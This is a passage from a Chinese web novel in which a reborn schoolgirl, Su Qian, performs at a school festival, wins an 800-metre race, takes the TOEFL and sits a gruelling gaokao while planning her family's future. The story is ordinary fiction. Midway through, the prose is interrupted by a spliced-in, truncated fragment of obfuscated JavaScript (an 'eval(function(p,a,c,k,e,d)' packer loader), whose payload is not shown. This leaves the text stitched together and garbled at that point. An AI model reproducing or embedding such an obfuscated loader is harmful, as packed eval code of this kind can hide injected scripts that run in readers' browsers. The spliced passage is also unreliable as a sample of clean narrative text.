但到了下一堂物理课,杜仟俪找回了自信。她可是中考物理满分,暑假里也是自学了不少,现在是物理课代表,虽然不至于碾压苏茜,但一直比对方强是真的。包括数学也是。但其他课程,两个人差不多、难分伯仲。另外,苏茜写的字比她的字好看多了,不管是汉字还是字母。 “女生八百米,谁能跑完八百就报名吧!我在边上陪跑。”体育委员初中时就是校田径队长跑运动员,高中也不去体校,只指望起码有个二级运动员。可惜是男生,没法替女生去跑。 “我来吧。我不需要陪跑哈。”教室里响起稀稀拉拉的笑声。 苏茜就报了一个项目,也是唯一一个报名的。其他项目包括铅球都有女生报。 甚至杜仟俪都报了跳远。两个人课后都要去操场练练。 接着是文艺委员,到处拉人演节目。先是班级预演,然后年级预演,最后上文艺节。 “苏茜,能请你跟我对唱吗?我们唱一首崭新的世界!”一个矮个子男生凑过来道。 “那个发音虽然不高,也是有技巧的。” 结果对方音是高了,调调找不着了,而且口音完全不知如何形容。文艺委员直接咔嚓掉。 “我们一班,总要出点有档次的节目吧!”文艺委员不由自主地看向苏茜。她出了个芭蕾,但不论技巧还是别的,都只是小学级别,能不能上还是个问号。至于大合唱,本班不擅长,也没有空。 “谁会吉他?架子鼓?” 无人应和。 “用伴音带吧。我找音乐老师问问。” “这个我知道。不过你要唱什么?” “要不,世界杯主题曲联唱?”意、英、西,三语,歌唱水平不够好,就用语言来凑。 “好啊好啊!我喜欢we’ll rock u”可惜只会这一句。 “之前的那首也挺不错,就是不会发音。” “要不我注个音,大家合唱。其实最近那一届是西语,不过合唱部分大家都会。” …… 难得的最后一节班会课不是用来自习或讲题,而是唱歌,边记录边唱的那种。结果引来隔壁和楼下班级派人打探消息。班主任是数学老师,基本听不懂,懒得全程旁观,但是他对此表示支持:激起大家对口语的“兴趣”也是好事,虽然大部分学生舌头打结中。 另外苏茜还教了几个简单的街舞、拉丁舞动作,大家台上自由发挥更好,整齐划一反而没了活力。 一帮子男生立刻去找舞蹈示范教材去了,还有一位表示可以在台上翻跟斗。 苏茜压根不理会。 文艺委员也很开心,因为她的小学级芭蕾不意外地被刷了,所以她将是这个主题曲联唱唯二在台上的女生,目前正在努力记注音。 * * * “伙计,你是个少年人,在街上鼓噪幻想有一天变成大人物,可惜满脸泥巴丢人现眼,气得踢罐头出气……”苏茜新买了牛仔服,在台上连唱三首“外文”歌,因为大部分歌词没人懂而出名。 秦健在台下看得目瞪口呆,虽然他还听过自家妹子唱歌剧,但那个稳健诡异的台风确实从未见过——边唱歌边挥舞拳头是啥意思?直到他后来偶然看见歌曲原唱光着膀子大腿挥拳头的镜头片段才突然想起来这事:好歹他妹妹体面地穿着长裤长袖。 今年时间调整,文艺节结束后才是运动会。 苏茜一身校服,漫不经心地站住跑道上。六名女生没一个用标准起跑姿势的,最有意思的是三班有两位参赛女生,结果还赠送个陪跑的男生,可惜两位正主抽签都在外圈,陪跑只能在内圈。内圈第一道是苏茜。 苏茜活动着脚踝膝关节,发令木仓一响就第一个冲出去。 然后始终跟着陪跑男生,并且保持第一。这男生慢也不好,快也不好,尴尬地只当没看见。不过在最后五十米的时候,苏茜发现有另一名女生要跟上来,直接加速度抢了第一名。 “辛苦辛苦!辛苦了!” 体育委员拿着矿泉水,两位没有项目的女生一个扶她胳膊,一个递纸巾。八百米第一呢,一定要伺候好!第二组五人,成绩都比苏茜慢。所以这次她给一班争了唯二的第一名,班主任特意表扬了一把,从文艺节目到体育,接着就是让全班收紧皮子,因为这次期中考试不可能多简单。 一周后就是期中考试。 果然如班主任“提醒”的那样,题量大,而且几乎没有送分题,连文科都不简单,时政直接上大题。 学生们没一个脸色轻松愉快的。 班级年级都不排名,但会告知最高分和平均分,而且按照成绩排名叫学生上讲台领卷子。苏茜算了下,这些课除了时政,全部在二十五名之内——英语万年第二,这个就不提了——总分排名应该在班级二十以内,年级前百是肯定的,但具体是五十还是六十还不好说。 所以还需要努力啊! 成绩单拿回来,秦健问了下确定妹妹成绩不比自己差。他这次也有点进步,但不多,距离前十仍然有差距,更不要说年级前十——清北计算机系金融系无望,再看看京城其他学校和专业,好的依旧悬乎。最后他咬牙,又跑去网吧查了不少资料,回来就说打算考江城大学。全家人都动起来,包括工作狂苏辰娟,她一位老同事的闺女好像也是念那个大学,她立刻找出通讯录、给人打电话。 涉及孩子考大学,所有人都会理解。对方很有耐性地讲了半个多小时。最后苏辰娟点头,“考!我们也在那里买套房。” 京城是真买不起,但江城可以。而且那边不在断裂带上,地震的概率远小于本地。 “小茜啊,要不你也念江大吧。” “我现在才高一。等哥考上再说。主要是我还没想好学什么专业。”最重要的是她要解决资金来源问题,只能去京城,因为那边出得起价。“对了,哥,可以选工业设计!你以前还学过画画,正好用上。而且工业设计又不是美术设计,很多其实是工程、材料、化学。” “啊……好的,我看看。”为什么妹妹知道得那么多,而自己上网半天也没看到这些?!对了,刚才老妈记下的一些推荐专业里确实有这个,但具体学啥就不是很清楚了。 而苏茜则是松了口气。她并不认为老哥能在京城混开,尤其是她家看似几套房,但都不值钱,他在京城可能会有落差感,搞不好会自卑,以后的发展就更不好说了。倒是江城,房价还可以,离老家比较近,交通更是没话说,江大也数得上号,秦健的成绩在那边算好的,挑选专业会自由得多。 自觉办成一件大事的苏茜并不知道老哥的自我怀疑,就算知道了也不会放在心上。她要努力念书做题,怎么也要确保能考上农大,京城的那所分数不低,不过名气也确实是最大的,国外都有名。 文艺节上的唱歌,与运动会上的八百米,形成诡异的平衡。学校对“早恋”没有特别政策,只有两个要求,就是双方保持年级前十不下来,并且双方家长同意。 总之,这两个要求都极难做到,尤其是本校并没有年级大榜这种玩意,因为据说以前有学生因为排名下滑被家长打骂后想不开自杀了,所以学校有前一百左右的排名但不公布——除非跑去班主任那里问。 苏茜没去问。这次期末文理高考科目全部要考,考完提前选文理班,成绩太差是会被提出重点班的,因此所有人皮子得绷紧。她当然不能完全放弃文科科目,毕竟毕业时还是会考的,只是不像理科课程那么重视。反正最后她几门文科的成绩高于班级平均分,理科包括语文英语则是二十一名以内。 最终苏茜依然留在一班,其他三分之一的同学要么转文科,要么整个学期大小考试成绩都太差而转到普通班。 38.种菜要专业(三) “幸好我们还是同桌。”杜仟俪拉了拉同桌的衣服。 “是啊!”两个人总分差不多,而且都是时政历史地理三门略低。她们两个的良性竞争确实不错。 “你打算考哪里的学校?” “京城的吧。放心,绝对不会跟你报同一个志愿。” “嗯,我目标是海城。”哪怕同一个专业也不会撞车。 “分数都不低啊!” “是的。不过本省的话就太无聊了,感觉还是上的高中。你要留在京城吗?” “我估计不会留下,留不下。” “可以先在当地租房,结婚的话男方准备房子。”这一点杜仟俪早就想好了。“你呢?京城房价很高的吧?” “嗯,我不会在京城买房。其实我更想在杉树林或者松树林里有一栋木屋,最好有一条小溪穿过,这样夏天会比较凉快,冬天还可以一边烧木头取暖一边看窗外的落雪,炉子上热一壶咖啡红茶。”苏茜对同桌的“理想”不发表意见。毕竟这个时间地点,人们就是这样想的,哪像其他国家的这个时代,住女方的房、花女方的钱,那才叫人生赢家,是别人艳羡而非看不起的类型。当然发达地区的女性也并不都将结婚当终极目标,因为结了离太费钱费精神,一辈子不结的更多,有些国家干脆不结婚的家庭远超结婚的家庭。 “……哇!你说的情景好有感觉!”太浪漫了,太遗世独立了!不过,“有网络吗?” “花钱。拉网络,拉电线,装自来水。不过省了取暖费,一个月几百美刀真心不便宜,还不如自己砍树烧火。”所以当年她在自己的小林场只拉了电和网络,做饭改用液化煤气,取暖和自来水都省了,房子也改为不用交啥税的可移动房,因此在几次水灾火灾里省了不少钱——保险赔付可没少多少。 杜仟俪张了张嘴,合上。她长这么大最远只去过海城,其他地方也全部在省内,而且省内的雪山也从未见过。苏茜的描述让她向往的同时也在思索,这种情景到底是哪里?若是最北边的山林可没有水电网络,若是南边经济发达的地方可没有大雪和烧木头的炉子——她只见过煤球炉和煤气灶,农村烧柴禾的大灶只见过几次。 “烧木头的壁炉吗?” “都有,铸铁或者砖石做的炉子,高级点的有特种玻璃可以看到里面的情况,普通的就是那种黑乎乎的传统壁炉,但都需要烟囱把一氧化碳排出去。” “哦……”还是没概念。“你说的,是不是在国外啊?” “大概吧,阿尔卑斯,阿州华州缅州,加国,北欧……南美的最南边,都有吧。”西伯利亚就算了。 “会不会很冷?” “冬天室内温暖干燥。夏天凉爽舒服。”唯一不美好的是阿州大蚊子像恐怖电影,喷再多驱蚊液都没用,当初看了蚊子的描述她才打消去阿州定居的念头。 “东北都是这样。就是冬天没什么蔬菜,水果也只有冻梨。” “你这么说……我倒是想起来室内温室无土栽培。”本来想去念园艺专业就是为了自家的岛,但隐居山林只出不进也不是办法,不管在哪都得做点什么。 上课铃声响了,两个人不再说话。 高中理科班的数理化生与初中相比,不是难一个台阶,简直堪称两个物种。哪怕是苏茜觉得应该“比较”简单的生物,都有一堆坑让她差点爬不出来,尤其是买来的理科综合题,她能错一大半!虽然主要原因是很多知识点她还没学到,但困难程度可见一斑,有些“综合”地接近博物学。更不要说数学模拟题,大半完全不懂…… 后来的网路八卦里,好像说过哪一年高考特别难,没有一道送分题,全部做完的考生很少。既然预估会碰到,自己也得是那些写完卷子的仔之一!不然连种菜都干不了…… 于是她改为每天学习到十点半、十一点后才睡着,次日六点起,负重跑步去学校,路上买早饭。下雨天则改为力量练习,中午抽个几分钟在室内体育馆里做十七八个引体向上,直接看傻一堆七个及格线都不一定能做到的男生。 这样拼,才能保证在理科重点班的期中考维持二十名左右。她是第二十一个被叫上台拿成绩单和数学试卷,但是班主任强调了一句她和前一个同学总分相同。所以是并列第二十。 她比杜仟俪高了一分。 杜仟俪并列第二十二,郁闷地抓头发。“你说,我能考上交大吗?” “……校内专业服从调剂,应该没问题。”以本校的高考水准和这次考试成绩来看,杜仟俪很难考上那所名校的好专业。 “我还是换个学校。”杜仟俪非常痛快地改为海城理工大,算算本校一百左右的重点本科录取人数,她应该可以挑个好专业。“你呢?打算考哪个?” “看看这两年的录取分数线再说。我还叫不全大学名字呢。”现在就说京城农大,有点那啥。 “……”她这同桌打算考多“偏门”的大学啊?! 寒假里,照例是除了苏家三个女儿的“聚餐”,其他都不去。二姨每次忿忿的酸话都被亲戚们一脚踢回去,让她难受得大骂儿子出气。可惜其他长辈当没看见,“竟敢”不来劝架。二姨想拉上三姨同一战线对付大姐,结果三姨以“跟小健小茜请教中考”为名推开,气得很快就走了。 三姨确实是认真地请教。她闺女数理成绩还行,英语居然拖后腿,让她百思不得其解。 “没事,抄40遍,跟着磁带读20遍,就能记住了。”苏茜拿出来每一页都有笔迹的词典,“要不,菁菁,你从背词典开始。”她拿出另一本中学生英语词典,同样笔迹很多。 初二小姑娘差点被吓死。她之前因为初中不少内容是以前学过的,导致习惯性不听讲,考试成绩自然好不到哪里去。 “还有语法。虽然我不认为初二的语法有多少,不过几种语态还是值得记一下的。”苏茜又恶魔般搜出来初中动词语态、造句句式和语法等等几本“大全”塞给三姨。全部有着非常漂亮的手写体笔迹。“菁菁,手写体也要练练哈,作为字写得端正起码能少扣一分。” 三姨感动得差点哭出来。 菁菁则是难过得想大哭。很好,那些字迹显示她表姐都学过,所以老妈肯定逼着她全学。 “小茜啊,过年你也不出门玩?” “不出门。等考上了大学,人也大了,还能做点兼职,到时候全世界都能去玩。不差这几个寒暑假。” 这话漂亮得连苏辰娟都觉得脸热。 但苏茜是真心的。她“走”过的地方太多,对拨号上网时代中学生的玩乐项目更没兴趣。至于爬山涉水之类的项目,她表示曾经被白骨指路的连绵山林河流给刺激到,永远不会去享受爬山的乐趣。 有这时间还不如练练武功。练不出内丹,外家功夫也好,起码揍人很有范。看看,自从自己八百米“夺魁”并且还能做那么多引体向上后,所有的“文弱”男生统统绕着自己走,绝对没人敢欺负她,连同桌都被她的力量光环给罩着了——幸好秦健知道了也没跟家人说。 …… 这家医院,她曾经工作过好些年。 当年躲过炸.弹的地下室早已封闭,炸塌了的楼也被一栋新楼取代。 苏茜站在已经成为小景点的“遗址”间,原地感慨了几分钟就离开了。她是代替老妈来这家“老牌”医院看望一位亲戚后绕道过来的,还需要转两次车才能回家。因为太晚,她路上买了点吃的当晚饭。 “浪费”了半天,可好歹这是高一寒假结束前一天,所以问题不大。整理好明天报道的东西,包括但不限于水杯和寒假作业,苏茜算是提早休息。 今天算是今年第二冷,零下摄氏五度还阴沉着天,所以床板上垫了两层棉胎,盖了一条厚棉被外加一条毛毯。她的穿着铺盖与哥哥的一样,总体不算多、也不显得少。老妈老爸和外婆三次问她冷不冷,要不要铺电热毯或是取暖器,都被她拒了。岛上温度高些,不会结冰,但在摄氏五六度的时候下个三天中雨会让人从骨头缝里觉得冷。 岛上的花园木屋撑了几百年彻底不行了,只能待在山洞,那湿冷的风夹着少量雨丝吹在脑袋上实在够呛,即使有两个煤球炉子也不行。相比之下,自己房间的这个温度算很不错了。 寒假结束,正式上课一周后,两个重点班撇开普通班来了个摸底小考,看谁浪费了一个寒假。不需要家长签字——高中已经不兴这套了,尤其是还有住校的同学——但公布每科分数和总分排名。 题目很难,苏茜不少题都没有把握,所以除了英语,其他各科破天荒的居然都是7、8开头。对了,这次英语她拿到第一,因为不少单词语法超出课本。 “天哪,我这辈子没考过这么低的分数!”杜仟俪嘀咕着。“你的总分好可怕。” “英语拉分。我初二上学期曾经考过79,平衡了吧。” “更不平衡了,你二十名,我三十名!” “我们也就差8分。你代数比我高10分好不好!”气死了气死了,必须拼命学才能赶上! “……”更气了,一门英语就被甩下12分,全班唯一90以上,而且还是夸张的95,文科班那边也没有这么高的。英语课代表以前一直第一,这次才88。 “对了,你要参加英语竞赛吗?” “没空。我要做糟心的代数……”接下来还有立体几何,让人当场崩溃的卷子不可能好对付。 “竞赛好的话有加分呢!” “太花时间了,还不如去考个托福。” “哇!我支持你!”杜仟俪只是哇了一下。他们学校有不止一个同学考出来托福,听说隔壁的文科班也有人打算今年或明年去试试,所以她不觉得同桌会有多大的问题。 两周后,英语老师叫了苏茜、课代表以及第三名在午饭后去教师办公室。 “……这个竞赛还是不错的,金奖可能可以加分。”但老师没说死,高考加分可比中考难得多。 “刘老师,我就不参加了。我的数学需要好好努力,这次考试光代数就比平均分低不少太拖后腿了,我得在代数几何上多花力气。”也因此她与杜仟俪才从一开始就关系不错却又隐隐含着良性竞争——目标不是一个城市,真的不用将对方当对手。 “啊,这样吗!”中年女老师愣了下,点头。比平均分低不少就说明少得严重了,而英语竞赛即使加分也最多5分,确实应该在数学上多多努力。 “刘老师,我的口语不是很好,还容易紧张,可能不太适合竞赛。”第三名迅速找到自己的位置。 最后剩下课代表被挂在墙上下不来,直接决定参加,何况她本来就很心动,就是担心苏茜这个强大的对手抢自己名额。 回到座位上,同桌不在,前排同学回过头,轻声问:“刘老师是找你说竞赛吗?你要参加吗?” “对,不过我不参加,我要弄数学。代数居然考这么差,这个学期的几何也简单不到哪里去。竞赛要费时间精力,又不一定加分,还不如好好做数学题。” “不一定加分?” “你确定能拿金奖吗?” 对方立刻熄火。“我还以为……算了。”他回过头看书去了。 对杜仟俪,苏茜同样说法。 “你也不要太纠结,我是正好在寒假里做过这道大题,一模一样。” “我做过类似的,但还是错了。”连过程分都没有,直接8分就没了,气得她那天差点没吃午饭。 杜仟俪拍拍她,“类似的如果做过三次,那就肯定能得分。” 所以,得更加努力!做三次类似的是吧,一定且必须做到。 期中是各班一起,所以不再排名,甚至都不叫名字上台。苏茜估计自己“恢复”到二十五名左右,年级能排前四十。考虑到本校在省内很不如何的江湖地位,考京城农大只能说凑合、很可能调剂到她不喜欢的专业,但是有把握的江城农大又有些低就,算来算去只有本班十八名之内才能自己选专业,也就是再提升至少7-10分。看着几乎满分的英语、没什么办法的语文和永远做不对的急转弯物理题,只有代数几何以及生物化学是自己最有提升空间的科目。 拼了! 为什么种个蔬菜都那么难!好吧,不是简单的种地,而是室内立体绿色无土栽培,必须用水少、用电低、占地小、种类多的那种,如果还是用滤掉大部分盐分的海水就更好了。这样有几个集装箱、一英亩杂木林和两个小发电机就可以搞定,唯一的区别在于住哪。其实,一艘游艇都能当成家,偶尔上岸采买些无法自种自制的东西就行了。 …… 秦健高考,全家出动。 苏茜分到的任务是提前去考场边的馆子里占个包厢点好菜,外公是等在考场外面,外婆在家煮凉茶并且将风油精、黄连素、藿香正气水等等跟凉茶一起打包带过来馆子。 “你哥今天考试!哦哦,要认真对待。我建议点些清淡的,而且不能吃冷饮和海鲜!因为压力大了很难说身体会不会不适应。”老板娘轻车熟路,因为去年就曾有个考生来这里吃饭,吃完居然拉肚子!老板娘当时立刻冲出门买药。好在考生自己说吃多了冷饮,又狂吃辣菜导致腹泻,几颗黄连素之后就再也没有出问题。 “好。”苏茜也很清楚,点了五个菜全部是好消化而且肯定煮熟的,凉菜、油腻、热辣、冰冷,一个没点。 等秦健到了,他喝的还是温热的凉茶。他拒绝了坐在饭馆空调包厢里乘凉,而是回考场内的林荫树下休息放松,避免不适应考场里的温度。 第二天仍然如此。 全部考完,秦健没有四处浪,而是捧着江城各个大学和专业研究。 “我发挥正常,所以江大应该没问题。” “第二个专业你选哪个?” “通信?医学?” 一个个看下来,他被妹妹说动,第一个专业方向选了工业设计,第二个,呃,通信和医学是不是相差比较大。 “通信吧,硕士应该够了;医学的话,想去好的医院最好念到博士。” “我选通信。”秦健真的不喜欢念到三十岁,又天天全年拼命工作到六十。整整四十年无休,挣的也就那样,全是拿人生和生命换的。 苏茜突然想起若干年后好像有两场疫情,但通史记录只有年份,自己经历过的有年代太过久远,呃,其中一场似乎是从江城爆发的……她哥不念医也好。另外,是不是江城也不是多好的移居地,尤其是外公外婆?要不地震过后,以社保医保不流通的名义回家乡去? 难得拥有几个真心爱护自己的家人,她忍不住为每个人纠结。 “要不,哥,你这个暑假好好读英语?”出国留学是件好事,但美丽国真心不是很安全。 “不!我看过GRE的题,基本都不会,连托福的笔试题都不行,不要说听力了。”秦健一来对自己的语言能力没有信心,二来对异国他乡心有恐惧,三来怕自己没法在发达国家立足成为别人口中的笑谈。 “……”全家人无语。 苏茜则是想,以后给哥在三环内买个二室两厅,解决全家最大的负担而她自己不买房子,就算对得起这份亲情了吧! 分数出来了,秦健发挥正常。 接着就是填一堆志愿。出于谨慎,普通本科、专科都是认真选择的,全部是江城的学校。接下来就是焦虑的等待。最短两周,最长……一辈子。 另一边的苏茜则是咬牙切齿地将“省下”的零用钱和考试奖励交了托福考试的报名费,并且拒绝培训班。 秦健终于在一个闷热的午后拿到录取通知书! 第一志愿,工业设计专业。 他的分数比录取线高了近二十分,竞争对手又不多,很自然的考上了。 秦健去给老妈老爸打电话,外公外婆则是高兴地去烧菜,苏茜去买酒和熟菜,真的比过年还高兴。 饭桌上,秦国栋和苏辰娟对视一眼,对秦健道,“我们在江城买了套二手房,一室一厅,距离江大不远,骑自行车就能到,小健你毕业后留在江城工作就有得住,但是以后结婚房子不够住,就要靠你自己努力了。” “谢谢爸妈!谢谢阿公婆婆!”秦健之前还以为家里说买房是开玩笑的,这次真的呆了。而且,今天拿到通知书,今天才说,表明房子早就买好了! “小茜。”苏辰娟顿了下。 “不用考虑我,我毕业后可能申请国外的学位。”苏茜利落地接上。“下个礼拜我就要去考托福试试。” “托福?!”五个家人都愕然。 “不过我应该不会考虑美丽国的学校,应该是申请德国的学校吧,免学费的那种。具体专业要看我本科的专业,到时候去那边找工作更容易些。” “那里能打工?”秦健弱弱地问了句。 “可以工作,合法的。不是那种端盘子小时工。” “哦……难怪你说,英语好的话学德语很快的。” “对。” “你先考上大学再说吧。”苏辰娟摸摸女儿的脑门。 * * * 开学前托福分数就出来了,620。称不上多好,甚至对苏茜而言有点丢脸,但考虑到她没培训没复习直接去考,好像也能接受? “620?好像不低吧?”秦健有些惊讶。妹妹跑出去一天,难得的还打车,居然就是去考个托福。话说,这考试难道真的很简单吗?他记得班上英语最好的那个同学考了两次,但具体分数不是很清楚。 “不高。我又不去美丽国,就是没有参加英语竞赛被同学们议论,觉得很烦。而且听说托福成绩在大学里可以免修几个学分,不知道是不是。” “要看什么学校吧。如果你念英语专业肯定不行。” “我宁愿读园艺也不想浪费时间去读语言。” “园艺?花草?”秦健真的震惊了。妹妹这是怎么回事? “不,无土种植的有机蔬菜,很贵的那种。” “多贵?” “贵好几倍。” “……会有人买吗?”听上去不太靠谱啊。 “国外很流行,特别是土地少或者水资源少的地方,还有特别冷或者海边之类。不过美丽国因为地广人稀,这种方式种出来的东西市场不大。所以近几年市场可能是西北欧,不过以后绿色有机健康的理念流行开的话,亚洲市场会扩大,大陆也会慢慢接受。说实话,这种其实偏战略性,因为太贵了,市场肯定比普通蔬菜小。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小健不在家吃饭还真不习惯。”俞凤英嘀咕了一句。外孙开学老人们没去送,是父母请假送到学校,顺便在庞大的校园里走断了腿。 “那房子的厨房能用吗?” “打扫好了,都能用,还有单门冰箱和洗衣机,没买电视。”也没有空调,更没电脑。“不过小家伙肯定吃食堂。他们学校好几个食堂,吃得确实不错。” 听说农大的食堂跟京城的其他食堂相比更不错,虽然无法掩饰北方冬季缺蔬菜的问题,但总体更健康,不会全是油炸碳水、猪油碳水和白糖碳水,再加上她自产的海鲜,嗯! “买的时候也是考虑到价格,现在看来我们去都没地方住。” “你去干嘛?真给孩子做饭啊!” “不是,就去看看。” “那就让他放假回来。对了,明天能买假期车票了吧?” “昨天的信上说,他已经买了票,提前一天回来,到时候再公交回家。” “好啊!” 秦健不在家,苏茜并没有不习惯。她现在累死了,天天十一点才睡觉,这是影响身高的节奏啊!她现在163厘米,国内还行,出去就显得矮了点,165以上才像样吧! 期中考不排名,期末考学校居然暗戳戳的排了前一百。苏茜去问才知道,自己是班上第二十一名,理科年级四十八。 还,不错?! “我们班确实是重点班呢!”杜仟俪这次比苏茜高一分,班内第二十,高兴得不行。她每天十一点后才睡,整个人的状态都有些不对了。 “是啊,我觉得应该能考上。” “嗯!我也觉得。”杜仟俪这次英语的成绩上来了,居然跟苏茜同样分数。她是班上唯一知道同桌托福成绩的人,她自己去试着做题听磁带后被打击到,当然更加拼了。 苏茜无所谓同桌比自己高还是低,她只要比过去的自己好就行。 而秦健则是差点被老妈揍,因为拿回来的成绩单难看得要命,还有一门正正好好60分!然后生活费直接被扣,过年压岁钱总共才100!除了网上十几小时,啥也做不了,更不可能去讨女孩子欢心。 “我就是不太适应。”秦健上楼后才敢跟妹妹嘀咕。 “别去打工。你的成绩不足以当个高薪家教。没意思的。赚得少,成绩难看还拿不到奖学金。” “……我就是……我没有去交女朋友。” “知道,你没那么多钱。”只有身材能看,气质打扮和脸蛋的精致程度都不行,更不用提没有身家。 “我觉得吧,我这个专业学得好会很好,而学不好……” “那就好好学。别以为念计算机和国际金融就能混得多好,出来还有做传.销的。” “这我知道!”听着一些学长的工作就不太对劲,天天打七八个小时电话什么的,还有跑回来发展学弟学妹们当下线之类的,他逃都来不及!而能去好公司的非常少,全部是最顶尖的那些学生。“我已经在慢慢找方向,可能是偏向工业品。” “好啊!我支持你!做实业的才不容易被抛弃。” 两个人都回去看书。苏茜先应付作为寒假作业的六大本题集,秦健则听话地天天抄英语四级单词,不懂就问妹妹。他以为妹妹看得是德语书,其实那是荷语,谁让世界排名第一的农大在荷国。唯一起决定作用的就是她能“合理”地弄到多少学费,因为家里肯定出不起。 高二的暑假过完,开学,气氛更紧张了。 苏茜觉得初二暑假到现在,自己从没放过假,整个人崩得紧紧的。好在期末考自己站稳了。嗯,秦健的成绩终于好看些了,班级中等水平,没有6开头的成绩。 对了,今年已经考完的高考题目还是比较正常的,她现在的水平能考到接近普通本科线,十个月后肯定能高不少。 可,自己很可能碰到地狱级考题啊,今天的题不作数的。 “小茜,需要装空调吗?” “不用。我们今年高考提前了,不会很热。”装空调干嘛?为地震制造更多损失吗?!对了,附近又有小地震,苏家艮一激动差点卖掉老房子,幸好想到三个女儿可能很难摆平而作罢。所以一个外孙一个外孙女的高三寒假里,他宣布,把两套老房子卖了平均分成五份,三份给三家的孩子作为大学学费——秦健不算——两份二老一人一份。相当于提前分遗产。 三个中年妇女虽然吃惊,但全部同意,毕竟老房子地段差还都是老式楼房,没人会去住。最重要的是,俩老房子卖价的五分之一,大概够秦健交两年的学费,可见老房子真心不值钱。最要面子的二姨回去后就死命盯着儿子认真看书,绝不能出现比苏茜少一百分这样的事。而苏辰娟则是知道丈夫和老人对地震有些恐慌。至于三姨,觉得天上掉馅饼,今年的培训班费用有了。 倒是秦国栋跟两个头脑都算清醒的连襟聊了聊对地震的看法。“……我们给小健在江城买了一套一室一厅,40平米,足够他一个人用,至于以后就是他自己奋斗,与我们无关,结不结婚,要不要孩子都自己决定,自己负担。我们这个年纪现在注重的是自己还有老人的健康和养老。” “你觉得……”会塌?可如此可怕的事情是有概率的。 “我对这个房子,还有住在房子里的我们不太放心。但谁也不知道未来怎么样,也许这栋楼什么事也没有。不过我肯定大部分的楼设计建造的时候都没有考虑过抗震。”工作的地方抗震吗?正好那个时间点自己去了其他建筑物或倒霉的街道,会遇见什么也不知道……这话秦国栋谁也不敢说。 苏辰娟也在考虑将来,并且在心底默默地数着退休的时间,以及退休后的问题。从社保的角度,最好在省内、距离本地稍微近些的城镇养老,那么得选个不在断裂带又有不错医疗资源的地方。因为再买房的话,就得卖掉眼下的这套房子了,那么大家住哪?还是先置换房产,她和丈夫租房,老人在新地方安家? 苏茜不知道父母的纠结,不过她在一次晚饭闲聊时建议,“我倒是推荐渝城。不地震,交通方便,生活差不多,未来房价肯定涨。” 在她所知的未来,渝城没有被地震打击过,而且也没有太严重的灾难,是个不错的选择。而锦城市区倒是有新楼坍塌、老楼没事的惨痛事件,但她真的不知道哪栋楼什么损伤也没有,毕竟坍塌、危房、墙裂等等导致不能住人、不能买卖却还要偿还房贷这种情况也太糟心了。普通产险是剔除地震的,一般人可能想到水灾火灾盗窃险也不会特意去投地震险。 “也是欸!”苏家艮和俞凤英齐齐点头。上个月他们出去夕阳游了一把,结果吃不惯、住不惯还晕车,各种不顺当。“隔壁”的渝城确实不错,回来用医保卡看病都容易些。秦国栋和苏辰娟没有表态,他们的问题集中在资金和现有住房的处理。眼看闺女也要念大学了,四年的学费生活费加起来怎么也要好几万。 苏茜并不担心。她纠结的是出题重点和超纲知识点的平衡。最后结论是超纲题是不能放弃的,总得知道些,因为历史上就有不少超纲题。另外就是不熟悉的题型起码找三个,并且记下来,几个月后再看看。 所以苏茜整个高三包括寒假,几乎每天十一点后才睡。一直坚持到儿童节,已经是强弩之末。 “别太累了。”特意在周末跑回来的秦健拍拍妹妹的肩膀。遗憾的是,他没法送考。“已经这个时候,别再看书,锻炼锻炼,睡睡觉。不过小心不要着凉。” “嗯,我知道。放心吧,我这两天已经开始看电视了。”多稀罕啊!她居然能看进去那些土里吧唧的服饰妆容和台词,可见心态都有些不正常了。 秦健只住了一晚就回学校了。下次回家可能赶上苏茜填志愿。 39.种菜要专业(四) 而苏茜迎来提前的“凉快”的高考。摄氏三十度,确实比三十六度舒服得多。 第一场就是语文。 感觉不太好。开始答题前她看了眼作文题,又看了几眼,虽然不算茫然,但脑袋里转过一大堆的,战争案例,还有党.争造成的严重后果。不对,做完自己会的填空、撇下不会的题,看了眼阅读理解,又想到得扣这个作文题,发挥太多很难说是加分还是倒扣。干脆正反两方面都提及?在稿纸上写下三段提纲词语,再回去纠结阅读理解——总觉得每道题都有两个答案是正确的!做完理解,又改了下作文提纲,回去对付选择填空,再筛一轮能凑合个答案的,留下一点法子也没有的三道题。然后写作文。写完,居然只有不到十分钟了!检查一遍,咬牙改一道题,最后的一分钟,将做不出的选择题填了个C。 结束。 老爸等在外面,护送她回家。考虑到今年传染病的问题,她们都没敢停留在外,而是骑车回家吃饭。外婆和老妈在家做午饭。 “上午的题目难吗?” “比去年难。我估计数学和理科都比去年难。” “没事,要难一起难。” “嗯,我也是这么想的。” 到了下午就知道了。一时不知道怎么解的题高达八道!总共才二十二道!而大题没有一道眼熟的!苏茜有些懵,她怀疑有大学的和竞赛题。想到自己在全国也是中上水准,她不会的题大部分人都不会,就平心静气下来。做第二轮的时候她一边在稿纸上写几道大题的过程步骤,一边看能凑合的,然后填出来好几道后回去做大题。 一直到交卷,她一道大题只做了点过程,一道没有结论,三个选择题蒙了C,一道填空题空着,一道是蒙数字的,附加分完全不知道怎么下手。 交卷前,她这个考场有个男生就开始哭。交卷后几个女生在抹眼泪,其中一个大哭。 出来的时候,老妈在外面等着,满脸震惊。 “难死了!我都不知道能不能及格。”苏茜示意推着车走,好半天才捡起力气骑上车。 回到家,老妈拉着她慢慢走上楼,“别想了,回去看看电视早点睡觉。你不会做,别的学生也好不到哪里去。” “嗯!” 第二天上午,理科。 苏茜的脑袋彻底打结,甚至都不知道怎么交卷的。现在她知道什么是地狱难度了。 送考的苏辰娟当机立断在外面吃饭,然后去电话亭打电话回去说明。秦国栋告知了个“好消息”,他一个同事的儿子在市区重点,回去就抱着那位同事哭。“没事,大家都一样。下午是你最强的一门课,定心考。” “好!”当然不好!前面三门这个样子,能指望最后一门有简单的题? 好在,苏茜的底子足够厚实。 听力有惊无险,完形填空差点用时过长,改错题她甚至有一道不知道对还是错。最后的十篇短文,整整十篇,完全凭感觉写的。 时间差点来不及! 交完卷子好半天,苏茜的心跳才恢复正常。拖着脚步出来,爸妈都在外面等着。 她笑着挥手招呼。 不管怎么样,考完了。 * * * 529分能考啥大学? 要是往年,好的专科都不一定。 今年的分数线还没公布。上周学校组织各科老师给每个考生打电话,安慰说今年肯定比往年低。苏茜苦笑,肯定低啊!要不是英语142全校并列第一,大概都上不了重点本科。 杜仟俪考了531,纠结得不行。最后仍然认认真真填完所有志愿——全部是海城的,包括专科。 